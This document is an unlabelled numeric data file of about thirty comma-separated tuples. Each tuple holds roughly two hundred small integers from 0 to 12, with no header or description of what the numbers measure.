(10,11,11,11,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,10,12,12,11,12,12,12,12,12,12,11,12,12,12,12,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,9,9,12,12,11,12,11,11,10,12,12,12,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,11,12,12,12,10,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,11,12,12,11,12,12,12,12,11,12,11,9,11,9,11,9,12,9,12,12,12,10,11,11,12,12,12,12,12,12,12,12,12,11,12,11,12,12,12,12,12,11,12,11,12,12,12,12,12,12,12,12,12,12,12,12,11,12,12,12,12,),
(1,3,4,4,3,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,3,1,4,4,4,4,4,2,3,4,3,4,4,0,4,4,4,3,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,2,1,4,4,3,4,3,3,1,1,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,0,0,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,2,4,4,4,4,4,3,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,3,4,3,1,3,1,3,1,4,1,4,4,4,2,3,2,4,4,4,4,4,4,4,4,4,2,4,1,4,4,4,4,4,2,4,2,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,),
(11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,11,9,11,8,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(4,6,7,7,6,7,7,5,7,7,7,7,7,6,7,7,7,7,7,7,7,7,7,4,4,6,7,7,7,7,5,4,7,6,6,5,4,5,7,7,5,7,7,7,7,7,7,7,6,6,7,6,5,5,5,7,7,7,7,7,5,5,5,4,5,7,6,6,6,4,4,4,5,7,7,7,6,7,7,7,7,7,6,6,6,5,6,7,7,7,6,7,4,4,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,6,7,7,7,6,6,6,6,6,7,7,7,6,7,7,7,7,7,5,5,7,5,6,5,6,5,5,6,5,7,6,7,7,7,7,7,7,7,7,7,7,7,7,7,5,5,7,5,6,6,5,4,7,5,4,6,3,6,4,5,4,5,7,5,5,6,4,7,7,7,7,5,5,5,5,7,5,7,3,5,6,7,5,7,5,7,4,5,6,5,6,5,5,5,6,7,5,7,7,7,5,7,7,5,),
(7,6,7,9,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,7,8,11,8,11,11,11,8,8,11,10,11,11,7,11,11,11,9,11,11,11,11,7,11,11,10,11,10,8,11,8,11,11,10,11,11,11,11,10,7,8,11,9,10,11,10,9,8,7,11,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,8,11,10,7,7,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,7,10,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,10,10,9,11,11,11,11,11,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,9,10,10,10,9,8,9,8,9,11,10,8,9,8,9,8,10,8,11,11,11,8,9,9,11,7,11,11,11,11,11,11,11,7,11,7,11,11,11,11,11,7,11,8,11,11,8,8,11,9,11,10,11,10,11,11,9,10,11,11,11,),
(7,7,7,7,7,8,8,8,8,8,8,8,8,7,7,8,8,8,8,8,8,7,8,7,5,8,7,8,8,8,6,7,7,6,8,8,5,8,7,8,7,8,8,8,7,7,8,8,8,7,7,8,8,8,8,8,7,8,8,7,8,8,5,5,8,7,7,7,7,7,5,7,7,7,7,8,8,8,8,8,8,8,7,7,7,7,7,8,8,7,8,7,5,5,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,7,8,8,7,7,6,7,7,7,7,7,8,8,8,8,8,8,8,8,6,7,8,7,6,7,7,7,7,7,7,7,8,8,8,8,8,8,8,8,8,8,8,8,8,8,6,8,8,7,8,6,6,8,7,8,7,4,7,5,7,5,8,4,7,8,7,6,7,6,8,6,8,8,8,8,7,7,8,7,8,7,7,8,7,8,8,7,8,6,8,8,8,6,7,8,8,6,7,8,8,8,7,8,8,8,7,),
(4,6,7,7,6,7,7,7,7,7,7,7,7,6,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,5,7,7,6,6,6,7,7,7,7,6,7,7,7,7,7,7,7,6,6,7,6,7,7,6,7,7,7,7,7,6,7,5,4,7,7,6,6,6,5,5,7,6,7,7,7,7,7,7,7,7,7,6,6,6,6,6,7,7,7,6,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,6,7,7,7,6,6,6,6,6,7,7,7,7,7,7,7,7,7,6,6,7,5,6,6,6,6,6,7,6,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,6,7,6,6,6,6,6,7,6,4,6,4,6,4,7,4,6,7,6,5,6,6,7,7,7,7,6,6,6,6,7,5,7,5,6,6,7,7,7,5,7,6,6,7,6,6,6,6,7,6,7,6,7,7,7,6,7,7,6,),
(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,),
(8,9,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,10,11,10,11,11,11,8,10,11,10,11,11,10,11,11,11,9,11,11,11,11,10,11,11,10,11,10,9,11,10,11,11,10,11,11,11,11,10,8,8,11,10,10,11,10,9,8,10,11,10,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,10,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,10,10,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,10,9,11,11,11,11,11,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,10,10,10,10,9,9,9,9,9,11,10,8,9,8,9,8,10,8,11,11,11,8,9,9,11,10,11,11,11,11,11,11,11,8,11,8,11,11,11,11,11,8,11,9,11,11,9,9,11,9,11,10,11,10,11,11,10,10,11,11,11,),
(8,9,9,9,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,9,9,11,9,11,11,11,8,9,11,10,11,11,9,11,11,11,9,11,11,11,11,9,11,11,10,11,10,9,11,9,11,11,10,11,11,11,11,10,7,8,11,9,10,11,10,9,8,9,11,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,10,9,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,9,10,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,10,10,9,11,11,11,11,11,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,9,10,10,10,9,9,9,9,9,11,10,8,9,8,9,8,10,8,11,11,11,8,9,9,11,9,11,11,11,11,11,11,11,9,11,9,11,11,11,11,11,9,11,9,11,11,9,9,11,9,11,10,11,10,11,11,9,10,11,11,11,),
(9,10,10,10,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,10,11,10,11,11,11,8,10,11,10,11,11,10,11,11,11,10,11,11,11,11,10,11,11,10,11,10,10,11,10,11,11,10,11,11,11,11,10,8,8,11,10,10,11,10,9,8,10,11,10,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,10,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,10,10,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,10,9,11,11,11,11,11,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,10,10,10,10,10,10,10,10,10,11,10,8,10,8,10,8,10,8,11,11,11,9,10,10,11,10,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,10,10,11,10,11,10,11,10,11,11,10,10,11,11,11,),
(7,8,9,9,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,9,9,11,9,11,11,11,8,9,11,10,11,11,9,11,11,11,9,11,11,11,11,9,11,11,10,11,10,9,11,9,11,11,10,11,11,11,11,10,7,8,11,9,10,11,10,9,8,9,11,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,10,9,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,9,10,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,10,10,9,11,11,11,11,11,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,9,10,10,10,9,9,9,9,9,11,10,8,9,8,9,8,10,8,11,11,11,8,9,9,11,9,11,11,11,11,11,11,11,8,11,8,11,11,11,11,11,8,11,8,11,11,9,9,11,9,11,10,11,10,11,11,9,10,11,11,11,),
(7,7,7,9,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,8,8,11,9,11,11,11,8,8,11,10,11,11,7,11,11,11,9,11,11,11,11,7,11,11,10,11,10,9,11,9,11,11,10,11,11,11,11,10,7,8,11,9,10,11,10,9,8,7,11,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,8,11,10,7,7,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,7,10,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,10,10,9,11,11,11,11,11,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,9,10,10,10,9,9,9,9,9,11,10,8,9,8,9,8,10,8,11,11,11,8,9,9,11,7,11,11,11,11,11,11,11,7,11,7,11,11,11,11,11,7,11,8,11,11,9,9,11,9,11,10,11,10,11,11,9,10,11,11,11,),
(8,8,7,8,8,8,8,8,7,8,8,8,8,7,7,8,8,8,8,8,8,8,8,7,7,8,8,8,8,7,7,7,7,8,7,7,8,7,7,8,8,7,7,8,7,7,8,8,7,7,7,7,7,8,7,7,7,7,8,7,7,8,6,5,7,8,7,8,7,7,6,8,7,8,8,7,7,8,8,8,8,8,7,7,7,7,7,8,8,8,7,7,8,7,8,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,8,8,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,8,7,7,7,7,6,7,7,7,7,7,8,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,8,7,8,7,7,7,7,8,8,7,4,8,4,8,4,8,4,7,8,7,7,7,8,7,7,7,7,7,7,7,7,8,8,8,7,7,7,7,7,8,8,8,8,7,7,7,7,7,8,8,7,8,7,7,7,7,7,8,8,8,),
(7,8,9,9,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,9,9,11,10,11,11,11,8,9,11,10,11,11,9,11,11,11,9,11,11,11,11,9,11,11,10,11,10,10,11,10,11,11,10,11,11,11,11,10,7,8,11,10,10,11,10,9,8,9,11,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,10,9,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,9,10,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,10,10,9,11,11,11,11,11,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,9,10,10,10,10,10,10,10,9,11,10,8,9,8,9,8,10,8,11,11,11,8,9,9,11,9,11,11,11,11,11,11,11,8,11,8,11,11,11,11,11,8,11,8,11,11,10,10,11,10,11,10,11,10,11,11,9,10,11,11,11,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(7,8,8,8,8,9,9,9,9,9,9,8,8,7,8,9,9,9,9,9,9,9,8,9,9,9,8,9,9,8,6,9,9,8,8,8,9,9,8,9,8,9,9,9,8,8,9,9,8,7,8,8,9,9,8,8,9,9,9,8,8,9,6,6,9,8,8,8,8,7,7,9,7,8,8,9,9,9,9,9,9,9,7,7,7,7,7,9,9,9,8,8,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,8,9,8,8,8,8,7,7,7,7,7,9,9,9,9,9,8,8,9,8,7,8,9,7,8,7,8,7,7,9,7,9,9,9,9,9,9,9,9,9,9,9,9,9,9,8,9,8,8,8,7,7,8,8,9,8,5,8,6,8,5,9,5,7,9,7,7,8,8,9,9,9,9,8,8,7,7,9,7,9,8,7,8,8,9,9,7,9,8,8,9,8,7,7,8,9,7,8,8,8,8,8,8,9,9,8,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(7,11,9,9,9,11,11,11,11,11,11,11,11,10,10,11,11,11,11,11,11,11,11,11,11,11,10,11,11,11,8,11,11,11,11,11,11,11,10,11,11,11,11,11,10,9,11,11,11,10,10,11,11,11,11,11,11,11,11,10,11,11,11,11,11,10,11,10,11,10,11,11,11,10,9,11,11,11,11,11,11,11,10,10,10,10,10,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,11,10,9,10,10,10,10,10,10,11,11,11,11,11,11,11,11,9,10,11,11,9,10,10,10,10,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,9,11,10,10,11,11,11,10,11,11,8,11,8,11,11,10,11,10,11,8,11,11,11,11,11,11,11,10,10,11,11,11,10,10,11,10,11,11,11,11,11,11,11,11,10,10,11,11,10,10,11,11,11,10,11,11,11,11,),
(9,10,11,11,10,11,11,9,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,7,8,10,11,11,11,11,9,8,11,10,10,9,7,9,11,11,9,11,11,11,11,11,11,11,10,10,11,10,9,8,9,11,11,11,11,11,9,8,9,8,10,11,10,10,10,8,8,9,9,11,11,11,10,11,11,11,11,11,10,10,10,9,10,11,11,11,10,11,7,7,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,11,11,10,10,10,10,10,11,11,11,10,11,11,11,11,11,9,9,11,9,10,9,10,9,9,10,9,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,8,10,10,8,8,11,9,8,10,7,10,8,9,8,9,11,9,9,10,8,11,11,11,11,9,9,9,9,11,9,11,10,9,10,11,9,11,9,11,9,9,10,8,10,9,9,9,10,11,8,11,11,11,9,11,11,10,),
(11,11,11,11,11,11,11,10,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,8,8,11,11,11,11,11,11,9,11,10,10,10,8,10,11,11,9,11,11,11,11,11,11,11,10,10,11,10,10,9,10,11,11,11,11,11,10,9,9,11,11,11,10,11,10,11,8,11,11,11,11,11,10,11,11,11,11,11,10,10,10,10,10,11,11,11,10,11,8,8,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,10,10,10,10,11,11,11,10,11,11,11,11,11,10,10,11,9,10,10,10,10,10,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,9,9,11,9,11,10,9,11,11,11,8,11,11,10,11,11,8,10,11,10,11,11,8,11,11,11,11,10,10,10,10,11,11,11,11,10,10,11,10,11,11,11,10,10,10,9,10,10,11,10,10,11,9,11,11,11,9,11,11,11,),
(6,9,8,8,9,11,11,11,11,11,11,11,11,10,10,11,11,11,11,11,11,10,11,10,10,11,9,11,11,11,7,10,10,9,11,11,10,11,10,11,10,11,11,11,10,8,11,11,11,10,10,11,11,11,11,11,10,11,11,10,11,11,8,8,11,9,10,10,10,10,8,10,10,9,8,11,11,11,11,11,11,11,10,10,10,10,10,11,11,10,11,10,10,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,11,9,8,9,10,10,10,10,10,11,11,11,11,11,11,11,11,9,10,11,10,9,10,10,10,10,10,10,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,8,11,11,9,11,9,9,11,10,11,10,7,10,8,10,8,11,7,10,11,10,9,8,9,11,10,11,11,11,11,10,10,11,9,11,8,10,11,10,11,11,9,11,9,11,11,11,9,10,11,11,9,10,11,11,11,10,11,11,11,10,),
